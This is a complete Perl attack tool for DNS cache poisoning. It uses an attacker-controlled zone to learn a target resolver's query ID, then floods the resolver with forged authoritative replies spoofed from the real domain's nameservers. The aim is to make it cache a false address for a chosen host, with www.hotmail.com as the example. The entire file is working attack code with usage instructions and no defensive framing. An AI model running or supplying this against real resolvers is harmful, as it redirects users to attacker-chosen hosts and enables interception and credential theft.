#!/usr/local/bin/perl

use strict;
use Net::DNS;
use Net::DNS::Nameserver;
use IO::Socket;
use Net::RawIP;

sub usage {
	print ("$0 is a program for DNS id spoofing.\n");
	print ("usage: $0 target host_to_spoof ourzone\n");
	print ("Example: $0 ns1.example.com www.hotmail.com .cache-poisoning.net\n");
}

my($target, $tospoof, $ourzone) = @ARGV;

$tospoof = "www.hotmail.com" unless($tospoof);
$ourzone = ".cache-poisoning.net" unless($ourzone);

if(!$target) {
	usage();
	die("You must specify target nameserver\n");
}

my($host, $domain) = split(/\./, $tospoof, 2);

my $client = IO::Socket::INET->new(PeerAddr => $target,
                                   PeerPort => 53,
                                   Proto   => "udp")
or die "Couldn't be a udp client on port 53 : $@\n";


my @nameservers = get_nameservers($domain);
my $id = get_sequence($client, $ourzone);
my @replies = prepare_replies(\@nameservers, $id, $target, $tospoof);
send_request($client, $tospoof);
send_replies(@replies);

sub prepare_replies($$$$) {
	my($nameservers, $initial_id, $target, $tospoof) = @_;

	my $totry = 5; # We will try 5 ids subsequent to the one we've got
	my $fakeip = "127.0.0.1"; # IP address that we want the target cache to believe in
	my @replies;

	for(my $id = $initial_id+1; $id <= $initial_id + $totry; $id++) {
		my $dns_packet = Net::DNS::Packet->new($tospoof);
		$dns_packet->push("pre", rr_add($tospoof . " A " . $fakeip));
		$dns_packet->header->qr(1);
		$dns_packet->header->aa(1); # Authoritative
		$dns_packet->header->rd(1); # Recursion desired
		$dns_packet->header->ra(1); # Recursion available
		$dns_packet->header->id($id);

		for my $nameserver(@$nameservers) {
			my $packet = new Net::RawIP({udp=>{}});
			$packet->set({ip=>{saddr=>$nameserver, daddr=>$target}, 
                                      udp=>{source=>53, dest=>53, data=>$dns_packet->data()}
                                     });
			push @replies, $packet;
		}
		
	}

	return @replies;
}

sub send_replies(@) {
	my @packets = @_;

	foreach my $packet(@packets) {
		$packet->send(0,2);
	}
}

sub send_request($$) {
	my($client, $tospoof) = @_;

	my $packet = Net::DNS::Packet->new($tospoof, "A");
	$client->send($packet->data()) or die "send: $!";
}


sub get_sequence($$) {
	my ($client, $ourzone) = @_;
	
	my $server = Net::DNS::Nameserver->new( LocalAddr => "0.0.0.0",
					        LocalPort        => "53",
						ReplyHandler =>  \&reply_handler,
						Verbose          => 0
	) || die;

	for(my $i=0; ;$i++) {
		my $packet = Net::DNS::Packet->new("id$i$$".$ourzone);
		$client->send($packet->data()) or warn "Failed sending packet: $!";		
		print STDERR "Request sent\n";

	## Wait for request from target nameserver
		sub reply_handler {
       			my ($qname, $qclass, $qtype, $peerhost, $query) = @_;
			my ($rcode, @ans, @auth, @add);
        
			die sprintf "ID %d\n", $query->header->id;

		};

		eval {
			$SIG{ALRM} = sub { die "timeout\n"; };
			alarm(2);
			$server->main_loop();
		};
		alarm(0);

		if ($@ =~ /^timeout/) {
			next;
		};

		unless ($@ =~ /^ID (\d+)/) { die $@; };
		my $id = $1;
		return $id;
	}

}

sub get_nameservers($) {
	my $domain = shift;

	my $res   = Net::DNS::Resolver->new;
  	my $query = $res->query($domain, "NS");
	my @nameservers;
  
  	if ($query) {
      		foreach my $rr (grep { $_->type eq 'NS' } $query->answer) {
          		push @nameservers, $rr->nsdname;
      		}
  	}
	return(@nameservers);
}
